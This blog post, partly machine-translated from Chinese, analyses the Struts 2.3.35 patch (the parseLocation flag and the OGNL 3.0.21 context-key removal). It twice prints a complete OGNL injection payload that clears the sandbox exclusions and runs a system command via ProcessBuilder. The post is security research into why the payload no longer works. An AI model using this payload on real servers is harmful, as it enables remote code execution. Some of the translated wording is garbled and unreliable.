Is the OGNL expression injection vulnerability a thing of the past?

Cause

Struts2今年来爆出一系列安全漏洞,以至于在官方release页面,还专门罗列了各个版本对应的CVE漏洞,也算是一大奇观。
![struts_release](https://img-blog.csdn.net/20180716180339458?watermark/2/text/aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTMyMjQxODk=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70)

漏洞频发的struts2虽然饱受诟病,但因为其自身优秀、灵活的能力,仍有大量企业和开发人员使用它,黑客和安全研究人员也趋之若鹜,一旦有官方有版本更新或补丁,便立即冲上前,反复寻找各种可能被利用的漏洞。
2018-07-12,struts突然发布了新的版本(Struts_2_3_35),老大叫我看看官方升级的原因,于是有了下面这个文章(疑问)

Version comparison analysis

The version of this upgrade is: Struts_2_3_35. The release date of the previous version is still September 2017, almost 10 months apart. Quickly bring the two versions to the local, and colleagues compare the differences between the two versions on github.

The main differences are as follows:
1. When namespace exists, avoid parsing namespace
(Avoids parsing namespace when using existing namespace)
2. Upgrade freemarker (from 2.3.22 to 2.3.28)
(Upgrades freemarker)
3. Some other updates

Roughly looked at, the official said to avoid parsing the namespace, in fact
, add a sentence parseLocation = false in front of if (namespace == null); and this approach is actually in the StrutsResultSupport.java file before calling the conditionalParse method, add A layer of protection.
The changes are as follows:

     public void execute(ActionInvocation invocation) throws Exception {
-        lastFinalLocation = conditionalParse(location, invocation); //变更前的代码
+        lastFinalLocation = parseLocation ? conditionalParse(location, invocation) : location; //变更后的代码
         doExecute(lastFinalLocation, invocation);
     }

It can be seen that the changed code is equivalent to judging the parseLocation flag before executing the conditionalParse method, and after we set parseLocation to false, the conditionalParse method will not be executed.

Follow the conditionalParse method

    protected String conditionalParse(String param, ActionInvocation invocation) {
        if (parse && param != null && invocation != null) {
            return TextParseUtil.translateVariables(
                param, 
                invocation.getStack(),
                new EncodingParsedValueEvaluator());
        } else {
            return param;
        }
    }

It can be seen that the parameter para, which is the location that we passed earlier, will be passed into the TextParseUtil.translateVariables method to do OGNL expression calculation.

While researching several files fixed by the government, they found that they set parseLocation = false; the purpose is to prevent the application from entering the StrutsResultSupport.java file and calling the conditionalParse method to parse the location variable.

So focus on the StrutsResultSupport.java file, the amount of code is not much, first look at the comments in front of the file


 * 是所有Struts Action执行结果的基类

 * location是默认的参数(诶,看起来有戏)

 * 这个类为所有子类提供两个通用的参数

 * location 是执行后要跳转的地方(可以是jsp页面或者其他的action)
 * 
 * parse 默认为true, 如果设置为false, location将不会被当做表达式解析
 * 
 * encode 默认为false, 如果设置为false,location参数将不会被url编码,只有当parse设置为true时,才会有效

Examples

* In the struts.xml configuration file, these would be included as:
* 在struts.xml配置问文件中,可以这样引入

<result name="success" type="redirect">
    <param name="<b>location</b>">foo.jsp</param>
</result>

 或者
 <result name="success" type="redirect" >
     <param name="<b>location</b>"> foo.jsp?url=${myUrl} </param>
     <param name="<b>parse</b>"> true </param>
     <param name="<b>encode</b>">true</param>
</result>


如果需要定制化result,可以在struts.xml文件中这样定义:
<result-types>
       ...
 <result-type name="myresult" class="com.foo.MyResult" >

</result-types>

The comment clearly states that this class is the base class for all Struts Action execution results, location is the default parameter, and represents the address or other action to which the program should be redirected after the action is executed. In the example, the location parameter represents that the program will calculate the value of myUrl and jump to the corresponding address based on the action execution result.

The method of use is more demanding, which requires the user to introduce StrutsResultSupport or its subclasses in Struts and set the location parameter according to the example.

It's already here, just continue to analyze. It happens that StrutsResutSupport has a corresponding test case StrutsResultSupportTest, and its testParse is just used to test whether the application can parse the location expression normally, so the value in the location is modified, and myLocation is changed to the payloads we use for testing.

(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmds="calc.exe").(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())

As expected, the calculator I wanted did not pop up.
Is it a problem with payloads? As a little white, for me, such complicated payloads must have been downloaded directly from the Internet, so I downloaded several payloads from the Internet. One by one, I found that it was not a problem of payloads!

There must be something wrong!

So Xiaobai used a crappy technique to break point debugging, change versions, change payloads, compare version differences, and finally ... give himself a whole bunch of problems to be learned and solved.

Reasons for invalid payloads

After layer-by-layer comparison, it is found that the OGNL version has been updated. In STRUTS_2_3_35, the version of OGNL is 3.0.21, and in STRUTS_2_3_33, the expression of OGNL is 3.0.19. Comparing the two versions of OGNL, the following differences are found:

OGNL.java file

OGNLContext.java file

Write a picture description here

There are too many codes, not complete, but in general, it is to delete CONTEXT_CONTEXT_KEY (context) and CLASS_RESOLVER_CONTEXT_KEY (_classResolver) and the corresponding method,
according to the method name can be roughly judged, the application can obtain a class instance based on CONTEXT_CONTEXT_KEY

Combined with the payloads and the error prompts during the debugging process, I finally figured out the meaning of the payloads and the preceding code

(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[“com.opensymphony.xwork2.ActionContext.container”]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmds=”calc.exe”).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())

I will not introduce the OGNL expressions and their calculation methods here (with ugliness), combined with payloads, I guess it should be such a workflow.

Due to the special relationship of OGNL grammar, the payloads seem a little complicated. Combining the source code, we can break it down. It is mainly for the following purposes:

Write a picture description here

At this point, after analyzing the payloads, we can also understand why OGNL prohibits the Contex field and deletes CONTEXT_CONTEXT_KEY (context) to avoid malicious users constructing and generating com.opensymphony.xwork2.ognl.OgnlUtil instances, thereby executing the clear () method to bypass security limit.

problem

According to the current situation, the payloads circulated on the Internet should not be used before. OGNL prohibits obtaining values ​​through #context [“com.opensymphony.xwork2.ActionContext.container”]. Under such restrictions, we should use the structure effectively Payloads? Is the OGNL expression injection vulnerability "past"?

Published 30 original articles · Like 13 · Visits 100,000+

Guess you like

Origin blog.csdn.net/u013224189/article/details/81091874